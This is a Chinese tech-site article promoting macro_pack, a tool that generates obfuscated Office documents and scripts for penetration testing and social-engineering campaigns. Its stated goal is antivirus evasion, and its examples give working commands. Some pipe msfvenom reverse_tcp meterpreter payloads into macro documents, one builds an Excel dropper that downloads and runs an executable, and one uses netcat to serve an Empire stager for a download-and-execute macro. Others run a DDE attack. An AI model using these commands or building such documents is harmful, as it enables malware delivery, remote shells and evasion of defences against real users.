Macro_Pack:一款用于自动化混淆和生成Office文档等文件格式的工具

作者:CQITer小编 时间:2018-05-15 01:17

字号

macro_pack是一个用于自动生成混淆过的MS Office文档、VB脚本等其他格式的工具,其主要目的是用于渗透测试、demo以及社会工程学的评估。macro_pack的目标是简化利用流程,反恶意软件绕过,并自动化vba生成到最终Office文档生成的过程。

该工具的使用也非常简单:

不需要配置

一切都可以使用一行代码来完成

生成大部分Office格式和基于VBS的格式

高级VBA宏攻击以及DDE攻击

该工具与流行的pentest工具(Metasploit,Empire,…)生成的有效载荷兼容。与其他工具结合也很容易,因为它可以从stdin读取输入并输出到另一个工具。macro_pack由Python3编写,同时支持在Linux和Windows系统上运行。

注意:Office文档自动生成或特洛伊木马功能仅支持已正确安装了MS Office应用程序的Windows平台上使用。

macro_pack:一款用于自动化混淆和生成Office文档等文件格式的工具

混淆

该工具将会自动化的运用各种混淆技术。混淆功能与macro_pack生成的所有基于VBA和VBS的格式兼容。

基本混淆(-o选项)包括:

重命名函数

重命名变量

删除空格

删除评论

编码字符串

请注意,macro_pack混淆的主要目的不是反逆向,而是为了免杀。

生成

Macro Pack可以生成多种MS Office文档和脚本格式。格式将根据给定的文件扩展名自动猜测。使用选项–generate或-G生成文件。Macro Pack专业版还允许木马存在Office文件,使用选项–trojan或-T即可。

Ms Office支持的格式包括:

MS Word 97 (.doc)

MS Word (.docm, .docx)

MS Excel 97 (.xls)

MS Excel (.xlsm, .xslx)

MS PowerPoint (.pptm)

MS Visio 97 (.vsd)

MS Visio (.vsdm)

MS Project (.mpp)

脚本(txt)支持的格式包括:

VBA文本文件(.vba)

VBS文本文件(.vbs)

Windows脚本文件(.wsf)

Windows脚本组件脚本(.wsc,.sct)

HTML应用程序(.hta)

XSLT样式表(.xsl)(MS XSLT包含脚本)

支持的快捷键格式包括:

Shell链接(.lnk)

资源管理器命令文件(.scf)

网址快捷方式(.url)

Groove快捷键(.glk)

请注意,所有脚本和快捷方式格式(LNK除外)也可以在Linux版本的macro_pack上生成。

关于专业模式…

macro_pack的部分功能我并未公开出来,因为他太过“武器化”。开发这款工具的目的是为了方便大家的研究学习和测试,但我知道我无法阻止恶意者的脚步,因此我选择暂不公开他们。专业模式包括以下功能:

高级反恶意软件绕过

VBOM安全绕过

自解码VBA

MS Office权限维持

MS Office文档木马

使用DCOM对象进行内网漫游

使用反调试

运行/安装

运行Windows二进制

从https://github.com/sevagas/macro_pack/releases/获取最新的二进制文件

在安装了正版Microsoft Office的PC上下载二进制文件。

打开控制台,CD到二进制目录并调用二进制文件,就这么简单!

macro_pack.exe --help

从源码安装

下载并安装依赖关系:

git clone https://github.com/sevagas/macro_pack.git cd macro_pack pip3 install -r requirements.txt

注意:对于Windows,您还需要从https://sourceforge.net/projects/pywin32/files/pywin32/手动下载pywin32

安装python 3 :

python3 macro_pack.py --help # or python macro_pack.py --help # if python3 is default install

如果你想使用pyinstaller生成一个独立的exe文件:

在上下载并安装PyCrypto

双击Windows机器上的“build.bat”脚本。

生成的macro_pack.exe将位于bin目录中。

一些示例 macro_pack community

混淆由msfvenom生成的vba文件并将结果放入新的vba文件中。

msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.0.5 -f vba | macro_pack.exe -o -G meterobf.vba

混淆Empire stager vba文件并生成MS Word文档:

macro_pack.exe -f empire.vba -o -G myDoc.docm

生成一个包含混淆dropper的MS Excel文件(下载payload.exe并存储为dropped.exe)

echo "https://myurl.url/payload.exe" "dropped.exe" | macro_pack.exe -o -t DROPPER -G "drop.xlsm"

在共享文件夹中创建一个包含混淆的VBA reverse meterpreter payload的word 97文档:

msfvenom.bat -p windows/meterpreter/reverse_tcp LHOST=192.168.0.5 -f vba | macro_pack.exe -o -G \\REMOTE-PC\Share\meter.doc

使用DROPPER_PS模板下载并执行Empire Launcher stager,而不使用powershell.exe

# 1 Generate a fiez containing Empire lauchcher # 2 Make that file available on web server, ex with netcat: { echo -ne "HTTP/1.0 200 OK\r\n\r\n"; cat empire_stager.cmd; } | nc -l -p 6666 -q1 # 3 Use macro\_pack to generate DROPPER_PS payload in Excel file echo :6543/empire_stager.cmd | macro_pack.exe -o -t DROPPER_PS -G join_the_empire.xls # 4 When executed on target, the macro will download PowerShdll, run it with rundll32, and download and execute stager.

通过动态数据交换(DDE)攻击执行calc.exe

echo calc.exe | macro_pack.exe --dde -G calc.xslx

责任编辑:CQITer新闻报料:400-888-8888   本站原创,未经授权不得转载
继续阅读
热新闻
推荐
关于我们联系我们免责声明隐私政策 友情链接